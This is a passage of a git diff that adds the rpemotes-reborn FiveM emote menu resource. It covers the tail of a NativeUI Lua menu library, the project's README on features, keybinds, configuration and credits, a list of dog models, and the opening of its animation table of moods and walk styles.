+ Menu:ProcessControl()
+ end
+ end
+end
+
+function MenuPool:ProcessMouse()
+ for _, Menu in pairs(self.Menus) do
+ if Menu:Visible() then
+ Menu:ProcessMouse()
+ end
+ end
+end
+
+function MenuPool:Draw()
+ for _, Menu in pairs(self.Menus) do
+ if Menu:Visible() then
+ Menu:Draw()
+ end
+ end
+end
+
+function MenuPool:IsAnyMenuOpen()
+ local open = false
+ for _, Menu in pairs(self.Menus) do
+ if Menu:Visible() then
+ open = true
+ break
+ end
+ end
+ return open
+end
+
+function MenuPool:CloseAllMenus()
+ for _, Menu in pairs(self.Menus) do
+ if Menu:Visible() then
+ Menu:Visible(false)
+ Menu.OnMenuClosed(Menu)
+ end
+ end
+end
+
+function MenuPool:SetBannerSprite(Sprite)
+ if Sprite() == "Sprite" then
+ for _, Menu in pairs(self.Menus) do
+ Menu:SetBannerSprite(Sprite)
+ end
+ end
+end
+
+function MenuPool:SetBannerRectangle(Rectangle)
+ if Rectangle() == "Rectangle" then
+ for _, Menu in pairs(self.Menus) do
+ Menu:SetBannerRectangle(Rectangle)
+ end
+ end
+end
+
+function MenuPool:TotalItemsPerPage(Value)
+ if tonumber(Value) then
+ for _, Menu in pairs(self.Menus) do
+ Menu.Pagination.Total = Value - 1
+ end
+ end
+end
+
+--[[
+ Wrappers
+--]]
+
+function NativeUI.CreatePool()
+ return MenuPool.New()
+end
+
+function NativeUI.CreateMenu(Title, Subtitle, X, Y, TxtDictionary, TxtName)
+ return UIMenu.New(Title, Subtitle, X, Y, TxtDictionary, TxtName)
+end
+
+function NativeUI.CreateItem(Text, Description)
+ return UIMenuItem.New(Text, Description)
+end
+
+function NativeUI.CreateColouredItem(Text, Description, MainColour, HighlightColour)
+ return UIMenuColouredItem.New(Text, Description, MainColour, HighlightColour)
+end
+
+function NativeUI.CreateCheckboxItem(Text, Check, Description)
+ return UIMenuCheckboxItem.New(Text, Check, Description)
+end
+
+function NativeUI.CreateListItem(Text, Items, Index, Description)
+ return UIMenuListItem.New(Text, Items, Index, Description)
+end
+
+function NativeUI.CreateSliderItem(Text, Items, Index, Description, Divider)
+ return UIMenuSliderItem.New(Text, Items, Index, Description, Divider)
+end
+
+function NativeUI.CreateProgressItem(Text, Items, Index, Description, Counter)
+ return UIMenuProgressItem.New(Text, Items, Index, Description, Counter)
+end
+
+function NativeUI.CreateHeritageWindow(Mum, Dad)
+ return UIMenuHeritageWindow.New(Mum, Dad)
+end
+
+function NativeUI.CreateGridPanel(TopText, LeftText, RightText, BottomText)
+ return UIMenuGridPanel.New(TopText, LeftText, RightText, BottomText)
+end
+
+function NativeUI.CreateColourPanel(Title, Colours)
+ return UIMenuColourPanel.New(Title, Colours)
+end
+
+function NativeUI.CreatePercentagePanel(MinText, MaxText)
+ return UIMenuPercentagePanel.New(MinText, MaxText)
+end
+
+function NativeUI.CreateSprite(TxtDictionary, TxtName, X, Y, Width, Height, Heading, R, G, B, A)
+ return Sprite.New(TxtDictionary, TxtName, X, Y, Width, Height, Heading, R, G, B, A)
+end
+
+function NativeUI.CreateRectangle(X, Y, Width, Height, R, G, B, A)
+ return UIResRectangle.New(X, Y, Width, Height, R, G, B, A)
+end
+
+function NativeUI.CreateText(Text, X, Y, Scale, R, G, B, A, Font, Alignment, DropShadow, Outline, WordWrap)
+ return UIResText.New(Text, X, Y, Scale, R, G, B, A, Font, Alignment, DropShadow, Outline, WordWrap)
+end
diff --git a/resources/rpemotesreborn1.6.0/README.md b/resources/rpemotesreborn1.6.0/README.md
new file mode 100644
index 000000000..fc361d0cc
--- /dev/null
+++ b/resources/rpemotesreborn1.6.0/README.md
@@ -0,0 +1,505 @@
+
+
+rpemotes-reborn is a community-driven FiveM emote menu allowing players to express themselves in roleplay with custom animations, countless facial expressions, walk styles, and props inspired by [DullPear](https://github.com/andristum/dpemotes), maintained by Popcorn RP after TayMcKenzieNZ began selling an open-source community project against the spirit of the project.
+
+A partial archive of the original RP Emotes docs can be found [here](https://web.archive.org/web/20231218223552/https://docs.rpemotes.com/)
+
+Rpemotes-reborn is free, **and will always be free**: accept no substitutes or reproductions from scummy people reselling other's hard work against agreements made with creators. We're committed to the open-source community and the dozens of contributors who put hard work into rpemotes to provide the community with free emotes and props.
+
+Want to help support them? Check out our credits section at the bottom of the Readme and support those creators!
+
+# Features 🛠️
+
+- Emote Preview - View emotes before you use them
+
+- Changeable Banner Font
+
+- Changeable Banner Colour
+
+- Multiple Translations 🌏
+
+- Search Function 🔎
+
+- Custom Animations with **permission from the community** 🏃
+
+- Persistent Facial Expressions via client KVP 🤪
+
+- Animal Emotes 🐩
+
+- Shared Dances 🕺💃
+
+- Persistent Walkstyles via client KVP 🚶♂️ - Standalone, QB-Core and ESX support!
+
+- Persistent Disabling Of Idle Camera via KVP 🎥
+
+- Crouching 🐞
+
+- Crawling 🐛
+
+- Finger Pointing 👆
+
+- Ragdoll 😵
+
+- Hands up 🙌
+
+- Shared Particle Effects 💨
+
+- QB-Core Framework & SQL Keybinding Support ⚙️
+
+- Further support for shared and couple poses/animations 👫
+
+- Easily convert Menyoo to RPEmotes 🔄
+
+- Hide Adult Emotes 🔞
+
+- Hide Animal Emotes ⛔
+
+- Easy To Understand Configuration File ⚙️
+
+- Exit Emotes 😎
+
+- Working Binoculars 👀
+
+- News Camera 🎤📹
+
+- Props Extractor for anti-cheat scripts 💾
+
+**Available in the following languages:**
+
+Albanian, Brazilian Portuguese, Chinese (Simplified), Chinese (Traditional), Czech, Danish, Dutch, English, Finnish, French, German, Greek, Hungarian, Indonesian, Italian, Lithuanian, Norwegian, Persian, Polish, Romanian, Russian, Serbian, Sinhala, Slovenian, Spanish, Swedish, Turkish, Vietnamese
+
+Languages can be selected and/or added in the config.lua.
+
+All languages were translated or contributed by the FiveM community, with the odd exception of using Google Translate.
+
+If you find any incorrect translations or would like to add more languages, please make a pull request with the corrections.
+
+# Header
+
+To edit the header, find the image in the main directory of rpemotes-reborn and edit the image in your program of choice. The image dimensions are 512 x 128.
+
+Do not change the name of the image file.
+
+Example Banner:
+
+
+**Note for users of older versions of rpemotes:** Previously, the banner was hosted through a web link on an image hosting website. Due to various image hosting sites dealing with large amounts of traffic from FiveM, they cut off access to FiveM.
+
+# Exports and More
+
+When using our emote menu with other scripts, using the `TriggerEvent('animations:client:EmoteCommandStart` won't do anything because the events do not exist. These have simply been replaced with the following exports:
+
+```lua
+exports["rpemotes"]:EmoteCommandStart(emoteName, textureVariation)
+exports["rpemotes"]:EmoteCancel(forceCancel) – forceCancel is optional
+exports["rpemotes"]:CanCancelEmote(state)
+exports["rpemotes"]:IsPlayerCrouched()
+exports["rpemotes"]:IsPlayerProne()
+exports["rpemotes"]:IsPlayerCrawling()
+exports["rpemotes"]:IsPlayerPointing()
+exports["rpemotes"]:IsPlayerInAnim() -- returns current animation name or nil
+exports["rpemotes"]:IsPlayerInHandsUp()
+exports["rpemotes"]:toggleWalkstyle(bool, message) -- bool to allow the user to change their walkstyle in the menu or not / message to show the user (optional, default is :"You are unable to change your walking style right now.")"
+exports["rpemotes"]:toggleBinoculars()
+exports["rpemotes"]:toggleNewscam()
+```
+
+Having issues with players using emotes when/where they're not supposed to? Use the following where you need. This would be somewhere like if you want to disable emotes in jail or when someone is handcuffed/escorted:
+
+```lua
+LocalPlayer.state:set('canEmote', false, true) -- stops emoting
+LocalPlayer.state:set('canEmote', true, true) -- allows emoting
+```
+
+# Menu Keybind 🎛️
+
+The keybind uses RegisterKeyMapping. By default the configured keybind in the _initial_ config.lua will be the default key, however once the keybind is set for a user it'll remain and can be changed in the users settings under `Esc > settings > keybinds > fivem`.
+
+**Menu key:**
+
+| COMMAND: | ACTION: |
+| -------- | -------------------------- |
+| F4 | Open / Close RPEmotes menu |
+
+Server owners can change this in the `config.lua`.
+
+Alternatively, the player base can set their menu keybind to open rpemotes-reborn
+
+`Esc > settings > keybinds > fivem`
+
+- More keybinds are now using key mappings which means that they are now available in your FiveM settings to change (`FavKeybind` and `RagdollKeybind`)
+
+# Keybinds and SQL 🎛️
+
+To use the SQL features, install the latest version of the [oxmysql](https://github.com/overextended/oxmysql) resource and enable the setting in `config.lua`
+
+```lua
+SqlKeybinding = false,
+```
+
+If you do not want to use the SQL features keep the `oxmysql` region in fxmanifest.lua commented out.
+
+Alternatively, you can use the keybind command that comes with FiveM without having to use SQL, by entering the following into F8:
+
+`bind keyboard "Yourbutton" "e youremote"`. To remove the keybind, type `"unbind keyboard "Yourbutton"`.
+
+# Menu Customization
+
+In the`config.lua` file, server owners can set the MenuTitle or simply leave it blank. Ideally, this should be 11 characters or less without any spaces.
+You can also set the font and decide whether or not you want an outline and MenuPosition. The available fonts are as follows:
+
+```lua
+ -- 0 : Chalet London
+ -- 1 : House Script
+ -- 2 : Monospace
+ -- 4 : Chalet Comprime Cologne
+ -- 7 : Pricedown
+```
+
+Additional customizations can be found in the config. Please note due to limitations by Imgur and Discord; images can not be directly linked from either platform. You may link directly to an image from the forums, or just leave it blank.
+
+# Increments
+
+Pressing 'LEFT ALT' on the keyboard allows players to scroll through the menu one by one, or by 10.
+
+Alternatively, players can use the `SHARE` button on an Xbox controller or `OPTIONS` button on a Playstation controller.
+
+# Ragdoll 🥴
+
+- To enable ragdoll, change `RagdollEnabled = false,` to true in config.lua.
+
+- Much like the menu key, `RagdollKeybind` is also using RegisterKeyMapping. It is currently set to `U` by default _(server side)_ however can be set to the player's preferred keybind in the FiveM keybinds setting found in the settings menu within the Esc Menu.
+
+- New setting: `RagdollAsToggle`, this will make either the ragdoll be a toggle or a hold key
+
+# Finger Pointing & Hands Up 👆
+
+Once enabled, players can press `B` on the keyboard to enable standalone finger pointing, and `Y` to put their hands up, without the need for unnecessary frameworks or "small resources".
+
+Much like everything else in the menu, server owners can change these keybinds to their own preferences.
+
+| COMMAND: | ACTION: |
+| --------- | ---------------------- |
+| B | Toggle Finger Pointing |
+| Y | Toggle Hands Up |
+| /pointing | Toggle Finger Pointing |
+| /handsup | Toggle Hands Up |
+
+# Crouching & Crawling
+
+**Crouching:**
+
+RIGHT CONTROL. Players can move forward, back, left, and right as well as turn around. Press SPACEBAR to switch from stomach to back. Pressing the RIGHT CONTROL key while running will have the player "dive into" a crouching animation.
+
+**Crawling:**
+
+Server owners can opt in to either overriding the stealth/action animation when pressing the LEFT CONTROL keybind or have players tap LEFT CONTROL twice to switch from stealth to crouch (when enabled in the config.lua file)
+
+# Chat Commands
+
+| COMMAND: | ACTION: |
+| ------------- | ------------------------- |
+| LEFT CONTROL | Toggle Crouching On / Off |
+| RIGHT CONTROL | Toggle Crawling On / Off |
+| /crouch | Toggle Crouching On / Off |
+| /crawl | Toggle Crawling On / Off |
+
+---
+
+# Moods & Walkstyles 😜🚶♂️
+
+Moods and walk styles can be set from the menu. These will save to your character and reapply when exiting a vehicle, or loading back into the server as they are saved via client-side KVP.
+
+| COMMAND: | ACTION: |
+| ----------- | ------------------------------------- |
+| F4 | Opens RPEmotes menu |
+| /walks | See A List Of Walkstyles In Chat |
+| /moods | See A List Of Walkstyles In Chat |
+| /reset mood | Remove preferred mood and set default |
+| /reset walk | Remove last walkstyle and set default |
+
+# No Idle Cam 📷
+
+No Idle Cam allows players to disable the idle camera animation on foot and in vehicle, making RP scenarios, streaming on Twitch, or just general gameplay just a little more enjoyable.
+
+| COMMAND: | ACTION: |
+| ----------- | ---------------------- |
+| /Idlecamon | deactivates the native |
+| /idlecamoff | enables the native |
+
+# Binoculars 👀
+
+| COMMAND: | ACTION: |
+| ----------- | --------------------------------------------- |
+| /binoculars | starts the binoculars |
+| L ALT | Toggle between night, heat and normal visions |
+| G | Show or hide the instructions |
+| BACKSPACE | Exit the binoculars |
+
+
+
+# News Camera
+
+| COMMAND: | ACTION: |
+| --------- | ----------------------------- |
+| /newscam | starts the News Camera |
+| H | Edit Text |
+| L ALT | Toggle between vision modes |
+| G | Show or hide the instructions |
+| BACKSPACE | Exit News Camera |
+
+
+
+# Favorite Emote
+
+Players can search for an emote (so long as search is enabled) and press LEFT SHIFT and CAPLOCKS on their keyboard to add it to their 'Favorites'. Pressing CAPLOCKS will toggle the emote.
+
+Alternatively, you can use the 🌟 Favorite menu to find an emote and press enter.
+
+# Exit Emotes
+
+Exit Emotes are used to make cancelling an animation more smoother and dynamic, such as getting up off a chair or throwing a cigarette out instead of dropping it.
+
+You can add your own Exit Emotes under `AnimationListCustom.lua`'s new `CustomDP.Exits = {}` array.
+
+Below is an example of how this would look:
+
+```lua
+ },
+ ["sit"] = {
+ "anim@amb@business@bgen@bgen_no_work@",
+ "sit_phone_phoneputdown_idle_nowork",
+ "Sit",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+```
+
+The ExitEmote calls for the 'getup' emote, which is noted as the following:
+
+```lua
+["getup"] = {
+ "get_up@sat_on_floor@to_stand",
+ "getup_0",
+ "Get Up",
+ AnimationOptions = {
+ EmoteDuration = 2000
+ }
+ }
+}
+```
+
+# Adult Emotes 🔞
+
+Adult Emotes can be hidden from the menu by setting `AdultEmotesDisabled` to `true` in the config.lua file.
+
+This will completely conceal the emotes from the lists _(Emotes, Shared Emotes, etc)_ at startup making them unusable.
+
+The emotes that are concealed, are the ones flagged in the animation list with `AdultAnimation`. You can see how it is done with `fspose`.
+
+Alternatively, you can also hide animal emotes.
+
+# QB-Core ⚙️
+
+**QBCore integration to match their fork of dpemotes**
+
+- Config option that supports the QB Framework in their fork of the original dpemotes.
+
+If you’re using qb-core, you can now set
+
+```lua
+Framework = "qb-core",
+```
+
+in the config file, otherwise, leave it as
+
+```lua
+Framework = false,
+```
+
+_You may need to alter some code within qb-core to work with RPEmotes._
+
+# Prop Extractor ↔️
+
+Many people have expressed concerns over anticheat scripts kicking or banning their community members due to the fact RPEmotes uses props and anticheats detecting said props being spawned.
+
+To make server owners' jobs a little easier, we have added a prop extractor command that you can enter into the server console which will automate a file inside the RPEmotes resource folder appropriately named, `prop_list.lua`.
+
+### Command:
+
+`emoteextract`
+
+```lua
+
+Available output formats:
+1 - 'prop_name',
+2 - "prop_name",
+3 - prop_name
+
+Command usage example: emoteextract 1
+```
+
+
+
+# Installation Instructions ⚙️:
+
+- Add `ensure rpemotes` to your `server.cfg`
+
+- Download the latest recommended artifacts [for Windows](https://runtime.fivem.net/artifacts/fivem/build_server_windows/master/) or [for Linux](https://runtime.fivem.net/artifacts/fivem/build_proot_linux/master/)
+
+- [Enforce gamebuild to latest build](https://forum.cfx.re/t/tutorial-forcing-gamebuild-to-casino-cayo-perico-or-tuners-update/4784977) for all emotes and props to work as intended.
+
+**Onesync Infinity is required for the particle effects to work as intended** This can be done via txadmin or your localhost .bat file.\*\*
+
+For localhost servers, comment out onesync from your server.cfg and add the following to your `.bat` file:
+
+```lua
+
++set onesync on +set onesync_enableInfinity 1 +set onesync_enableBeyond 1 +set onesync_population true
+
+```
+
+You can put this before your gamebuild enforcement, aka `+set sv_enforceGameBuild XXXX`
+
+- Set the desired language and settings in the config.lua under `MenuLanguage = 'en',`
+
+- Qb-Core server owners, set `Framework = 'qb-core'` in the config file, otherwise leave it as false.
+
+- To use the SQL features, install the [oxmysql](https://github.com/overextended/oxmysql) resource then open `keybinds.lua` in RPEmotes. If you do not want to use the SQL features, comment out the `oxmysql` region in fxmanifest.lua.
+
+Alternatively, you can use the keybind command that comes with FiveM without having the SQL, by entering the following into F8:
+
+`bind keyboard "Yourbutton" "e youremote"`. To remove the keybind, type `"unbind keyboard "Yourbutton"`.
+
+- Type `/refresh` and `/ensure rpemotes` into your chat resource, or simply restart your server
+
+# Shared emotes 👩🏻❤️💋👨🏼
+
+Emotes will work with either `SyncOffset` or `Attachto`.
+
+If it is with `SyncOffsetFront` or `SyncOffsetSide`, then the offset used is the one of the emote the player started.
+
+For example, if player one starts the emote `handshake` which has `SyncOffsetFront`, then player one will have the `SyncOffsetFront` but not the other player.
+
+- If it is with `Attachto`, then it'll either be player one's data used for attaching or player two's data.
+ For example, if player one starts the emote carry, then the other player will be attached but not the player one because Attachto is set in `carry2` and not `carry`.
+- If player one starts the emote `carry2`, then player one will be attached and not the other player.
+ it's the player who starts the animation who will in most cases be moved
+
+_Special case, if both emote have the `Attachto` then only the player who started the emote will be attached._
+
+You can find a list of ped bones to attach the other player here: [Ped Bones](https://wiki.rage.mp/index.php?title=Bones) or alternatively, if the link is down for some reason, you can check [here](https://wiki.rage.mp/index.php?title=Bones)
+
+Using the websites provided above, enter the bone ID, ie `1356` and not `111`, which is the Bone Index.
+
+Understandably, this can be confusing for some people. We suggest using the `Attachto` approach.
+
+# Particle Effects 💨
+
+**REQUIRES ONESYNC INFINITY**
+
+Particle effects can be found using the [DurtyFree GTA V Dump](https://github.com/DurtyFree/gta-v-data-dumps/blob/master/particleEffectsCompact.json). You will need to add the particle asset, name, and placement. Placement is done via XYZ, Pitch, Roll, Yaw, and scale.
+
+Onesync is required for them to work across all clients.
+
+```lua
+PtfxPlacement = {
+ -0.15, -- X
+ -0.35, -- Y
+ 0.0, -- Z
+ 0.0, -- ROTATION X
+ 90.0, -- ROTATION Y
+ 180.0, -- ROTATION Z
+ 1.0 -- SCALE
+},
+```
+
+
+
+By default, the main prop will share its coordinates with the particle effect, so just put 0.0 for the particle effects and you will be good to go.
+
+If no prop is used in the animation or you require the particle effect to be in a different location, use `PtfxNoProp = true`, and 0.0 will 9/10 times be the human peds' stomach; you can then offset your coordinates based on that with the first 3 entries being XYZ, and the last 3 being rotation XYZ.
+
+Alternatively, you can use the `PtfxBone =` AnimationOption to attach the PTFX to the ped's bone, similarly to how you attach props.
+
+Using Menyoo, spawn down a tennis ball and attach it to a human, by default menyoo will attach it to the SKEL_ROOT bone (stomach), so from that, what we can do is either offset the coordinates, say, up to the human ped's mouth, or change the bone altogether. Once we've got it correct, we can transfer those coordinates over to RPEmotes, and tah dah, we have our Ptfx Placement.
+
+# Adding Your Own Animations ⚙️
+
+Because the menu gets updated frequently, the files get overwritten. To avoid this, you can add your own / downloaded animation files `(.ycd)` inside of a newly created folder, give it a name, and place it in the `rpemotes\stream\[Custom Emotes]` folder.
+
+Add your animation code to the `AnimationListCustom.lua` and make a backup of this file and call it `BackUpAnimationListCustom.lua`.
+
+Whenever an update is released, rename `BackUpAnimationListCustom.lua` to `AnimationListCustom.lua`, click yes to overwrite, and you're good to go.
+
+Note that `AnimationListCustom.lua` and `BackUpAnimationListCustom.lua` files from versions prior to version 1.5.0 are not compatible with version 1.5.0, and files from version 1.5.0 are not backwards compatible with versions prior to version 1.5.0. To retain any custom animation code from previous versions, copy over any customizations into the `AnimationListCustom.lua` file that is included in the current version.
+
+It is also a good idea to keep a backup of your config file.
+Below is an example:
+
+
+
+# Credits 🤝
+
+**All** custom animations and props were added with permission from the creators.
+
+All animation creators have **_specifically_** asked that their content remain free and that the RPEmotes team and community do not try to profit from them, claim them as their own, or reupload them anywhere else.
+
+**A huge thank you the following people for their amazing contributions to the menu:**
+
+- the FiveM community for using RP Emotes!
+- [enzo2991](https://github.com/enzo2991) for creating the ped preview functionality
+- [The Popcorn RP community](https://discord.gg/popcornroleplay) for putting up with all my emote menu testing and troubleshooting issues with me
+- [DerDevHD](https://forum.cfx.re/t/fixed-remove-prop-after-scenario-animation/5002332/8) for the insight on deleting scenario props.
+- [Kibook](https://github.com/kibook) for the addition of the Animal Emotes sub-menu
+- [AvaN0x](https://github.com/AvaN0x) for reformatting and assisting with code, additional features, and figuring out shared particle effects
+- [Mads](https://github.com/MadsLeander) for joining the team as Co-Developer
+- [Mathu_lmn](https://github.com/Mathu-lmn) for joining the team as Co-Developer
+- [Tigerle](https://forum.cfx.re/u/tigerle_studios) for providing the additional code required to make Shared Emotes work to its full extent
+- [SMGMissy](https://forum.cfx.re/u/smgmissy/) for assisting with custom pride flags and how to stream them
+- [MissSnowie](https://www.gta5-mods.com/users/MissySnowie) for the Explicit Usage Rights Agreement to add free custom animations either publicly available or on their discord and for the motivational and overall moral support
+- [GeekGarage](https://github.com/geekgarage) for their knowledge, time, and dedication, helping to bring new and exciting features to the menu
+- [Smokey](https://www.gta5-mods.com/users/struggleville) for the Explicit Usage Rights Agreement to add free custom animations either publicly available on their discord
+- [BzZzi](https://forum.cfx.re/u/bzzzi/summary) for the Explicit Usage Rights Agreement to add free donuts, croissants and fire torch props
+- [Natty3d](https://forum.cfx.re/u/natty3d/summary) for the Explicit Usage Rights Agreement to add free lollipop props
+- [northsqrd](https://github.com/0sqrd) for adding the search function, Animal Emotes config, mobile phone prop texture variants, and general contributions
+- Crusopaul and Eki for discussing KVP and initializing it to the menu for persistent walk styles
+- [Amnilka](https://www.gta5-mods.com/users/frabi) for the Explicit Usage Rights Agreement to add free custom animations either publicly available or on their discord
+- [LittleSpoon](https://discord.gg/safeword) for the Explicit Usage Rights Agreement to add free custom animations either publicly available or on their discord
+- [Pupppy](https://discord.gg/rsN35X4s4N) for the Explicit Usage Rights Agreement to add free custom animations either publicly available or on their discord
+- [SapphireMods](https://discord.gg/Hf8F4nTyzt) for the Explicit Usage Rights Agreement to add free custom animations either publicly available or on their discord
+- [QueenSisters Animations](https://discord.gg/qbPtGwQuep) for the Explicit Usage Rights Agreement to add free custom animations either publicly available or on their discord
+- [Kri's Graphic House](https://discord.gg/JueRG3fCy6) for the custom banners
+- !MWooM#0597 on Discord for the custom banners
+- DurtyFree for his work on particle effects and cataloging GTA-related information [DurtyFree GTA V Dump](https://github.com/DurtyFree/gta-v-data-dumps/blob/master/particleEffectsCompact.json).
+- [BoringNeptune](https://www.gta5-mods.com/users/BoringNeptune) for the custom dance emotes
+- [CMG Mods](https://www.gta5-mods.com/users/-moses-) for the custom emotes
+- [prue 颜](discord.gg/lunyxmods) for being a great friend and providing us with exclusive custom animations
+- [PataMods](https://forum.cfx.re/u/Pata_PataMods) for the custom props
+- [Crowded1337](https://www.gta5-mods.com/users/crowded1337) for the custom Gucci bag. I have removed the Gucci logo to comply with Rockstar Games & TakeTwo Interactive
+- [EnchantedBrownie](https://www.gta5-mods.com/users/EnchantedBrownie) for the custom animations
+- [Copofiscool](https://forum.cfx.re/u/copofiscool/) for adding a toggle to the Favorite Keybinds
+- [iSentrie](https://forum.cfx.re/u/isentrie/) for additional code, support, and joining the RPEmotes project
+- Chocoholic Animations for the custom animations
+- [CrunchyCat](https://www.gta5-mods.com/users/crunchycat) for the custom animations
+- [KayKayMods](https://discord.gg/5bYQVWVaxG) for the custom props
+- [MonkeyWhisper](https://github.com/MonkeyWhisper) and [Project Sloth](https://github.com/Project-Sloth) for the custom props
+- [Brummieee](https://forum.cfx.re/u/brummieee_maps/summary) for the custom props
+- [Dark Animations](https://www.gta5-mods.com/users/Darks%20Animations) for the custom animations.
+- [Chico](https://forum.cfx.re/u/chico) for implementing natives to reapply persistent moods and walk styles for ESX and QB-Core frameworks
+- [-EcLiPsE-](https://www.gta5-mods.com/users/-EcLiPsE-) for allowing me to implement [Improved Prop Sets](https://www.gta5-mods.com/misc/improved-propsets-meta) and [GTA Online Biker Idle Anims](https://www.gta5-mods.com/misc/bike-idle-animations)
+- [MrWitt](https://www.gta5-mods.com/users/MrWitt)for the custom animations
+- [AdoredRose](https://forum.cfx.re/u/adoredrose/summary) for assisting with animations
+- [Vedere](https://discord.gg/XMywAMQ8Ef) for the custom props
+- [DRX Animations](https://www.gta5-mods.com/users/DRX%2DAnimations) for the custom animations
+- [VNSIanims](https://discord.gg/cTNrjYSXXG) for the custom animations
+- [PNWParksFan](https://www.gta5-mods.com/users/PNWParksFan) for the custom props
+- [LSPDFR member Sam](https://www.lcpdfr.com/downloads/gta5mods/misc/23386-lspd-police-badge/) for their Custom LSPD police badge
+- [GTA5Mods user Sladus_Slawonkus](https://www.gta5-mods.com/misc/lspd-police-badge-replace-sladus_slawonkus) for their reskinned LSPD badge
+- [Scully](https://github.com/Scullyy/) For their past work on rpemotes
+- [EP](https://github.com/EpKouhia) for their ice fishing props and emotes, originally used in scully_emotemenu
+- [TayMcKenzieNZ](https://github.com/TayMcKenzieNZ) for their past work maintaining RP Emotes
+- [ESX](https://github.com/esx-framework) for the creation of the translation system
diff --git a/resources/rpemotesreborn1.6.0/animals.lua b/resources/rpemotesreborn1.6.0/animals.lua
new file mode 100644
index 000000000..78a0578bf
--- /dev/null
+++ b/resources/rpemotesreborn1.6.0/animals.lua
@@ -0,0 +1,13 @@
+BigDogs = {
+ "a_c_chop",
+ "a_c_husky",
+ "a_c_retriever",
+ "a_c_shepherd",
+ "a_c_rottweiler",
+}
+
+SmallDogs = {
+ "a_c_poodle",
+ "a_c_pug",
+ "a_c_westy",
+}
\ No newline at end of file
diff --git a/resources/rpemotesreborn1.6.0/client/AnimationList.lua b/resources/rpemotesreborn1.6.0/client/AnimationList.lua
new file mode 100644
index 000000000..86d6bdfa8
--- /dev/null
+++ b/resources/rpemotesreborn1.6.0/client/AnimationList.lua
@@ -0,0 +1,24050 @@
+-- ALL custom animations added to this repository were added with express permission from the creators and do not contain any paid content --
+-- If an emote does not work, you may be on an older gamebuild --
+-- To get a higher gamebuild, see ReadMe on github repository --
+
+RP = {}
+
+-- EXPRESSIONS --
+
+RP.Expressions = { ---- MOODS ----
+ ["Aiming"] = {
+ "mood_aiming_1"
+ },
+ ["Angry"] = {
+ "mood_angry_1"
+ },
+ ["Burning"] = {
+ "burning_1"
+ },
+ ["Crying"] = {
+ "console_wasnt_fun_end_loop_floyd_facial"
+ },
+ ["Dead"] = {
+ "dead_1"
+ },
+ ["Drunk"] = {
+ "mood_drunk_1"
+ },
+ ["Dumb"] = {
+ "pose_injured_1"
+ },
+ ["Electrocuted"] = {
+ "electrocuted_1"
+ },
+ ["Excited"] = {
+ "mood_excited_1"
+ },
+ ["Frustrated"] = {
+ "mood_frustrated_1"
+ },
+ ["Grumpy"] = {
+ "effort_1"
+ },
+ ["Grumpy2"] = {
+ "mood_drivefast_1",
+ "Grumpy 2"
+ },
+ ["Grumpy3"] = {
+ "pose_angry_1",
+ "Grumpy 3"
+ },
+ ["Happy"] = {
+ "mood_happy_1"
+ },
+ ["Injured"] = {
+ "mood_injured_1"
+ },
+ ["Joyful"] = {
+ "mood_dancing_low_1"
+ },
+ ["Mouthbreather"] = {
+ "smoking_hold_1"
+ },
+ ["Neverblink"] = {
+ "pose_normal_1",
+ "Never Blink"
+ },
+ ["Oneeye"] = {
+ "pose_aiming_1",
+ "One Eye"
+ },
+ ["Shocked"] = {
+ "shocked_1"
+ },
+ ["Shocked2"] = {
+ "shocked_2",
+ "Shocked 2"
+ },
+ ["Sleeping"] = {
+ "mood_sleeping_1"
+ },
+ ["Sleeping2"] = {
+ "dead_1",
+ "Sleeping 2"
+ },
+ ["Sleeping3"] = {
+ "dead_2",
+ "Sleeping 3"
+ },
+ ["Smug"] = {
+ "mood_smug_1"
+ },
+ ["Speculative"] = {
+ "mood_aiming_1"
+ },
+ ["Stressed"] = {
+ "mood_stressed_1"
+ },
+ ["Sulking"] = {
+ "mood_sulk_1"
+ },
+ ["Weird"] = {
+ "effort_2"
+ },
+ ["Weird2"] = {
+ "effort_3",
+ "Weird 2"
+ },
+}
+
+
+--- WALKSTYLES ---
+
+RP.Walks = {
+ -- The key shouldn't have any other uppercase letter than the first one!
+ -- The first letter HAS to be uppercase!
+ -- First element of array is the walk animation
+ -- Second element is the label, this is optional
+ ["Alien"] = {
+ "move_m@alien"
+ },
+ ["Armored"] = {
+ "anim_group_move_ballistic"
+ },
+ ["Arrogant"] = {
+ "move_f@arrogant@a"
+ },
+ ["Butch"] = {
+ "move_m@hurry_butch@a"
+ },
+ ["Butch2"] = {
+ "move_m@hurry_butch@b",
+ "Butch 2"
+ },
+ ["Butch3"] = {
+ "move_m@hurry_butch@c",
+ "Butch 3"
+ },
+ ["Buzzed"] = {
+ "move_m@buzzed"
+ },
+ ["Brave"] = {
+ "move_m@brave"
+ },
+ ["Brave2"] = {
+ "move_m@brave@a",
+ "Brave 2"
+ },
+ ["Casey"] = {
+ "move_casey"
+ },
+ ["Casual"] = {
+ "move_m@casual@a"
+ },
+ ["Casual2"] = {
+ "move_m@casual@b",
+ "Casual 2"
+ },
+ ["Casual3"] = {
+ "move_m@casual@c",
+ "Casual 3"
+ },
+ ["Casual4"] = {
+ "move_m@casual@d",
+ "Casual 4"
+ },
+ ["Casual5"] = {
+ "move_m@casual@e",
+ "Casual 5"
+ },
+ ["Casual6"] = {
+ "move_m@casual@f",
+ "Casual 6"
+ },
+ ["Chichi"] = {
+ "move_f@chichi"
+ },
+ ["Confident"] = {
+ "move_m@confident"
+ },
+ ["Cop"] = {
+ "move_m@business@a"
+ },
+ ["Cop2"] = {
+ "move_m@business@b",
+ "Cop 2"
+ },
+ ["Cop3"] = {
+ "move_m@business@c",
+ "Cop 3"
+ },
+ ["Coward"] = {
+ "move_m@coward"
+ },
+ ["Chubbymale"] = {
+ "move_chubby",
+ "Chubby Male"
+ },
+ ["Chubbyfemale"] = {
+ "move_f@chubby@a",
+ "Chubby Female"
+ },
+ ["Dave"] = {
+ "move_characters@dave_n"
+ },
+ ["Defaultfemale"] = {
+ "move_f@multiplayer",
+ "Default Female"
+ },
+ ["Defaultmale"] = {
+ "move_m@multiplayer",
+ "Default Male"
+ },
+ ["Depressed"] = {
+ "move_m@depressed@a"
+ },
+ ["Depressed2"] = {
+ "move_m@depressed@b",
+ "Depressed 2"
+ },
+ ["Depressed3"] = {
+ "move_f@depressed@a",
+ "Depressed 3"
+ },
+ ["Depressed4"] = {
+ "move_f@depressed@c",
+ "Depressed 4"
+ },
+ ["Dreyfuss"] = {
+ "move_dreyfuss"
+ },
+ ["Drunk"] = {
+ "move_m@drunk@a"
+ },
+ ["Drunk2"] = {
+ "move_m@buzzed",
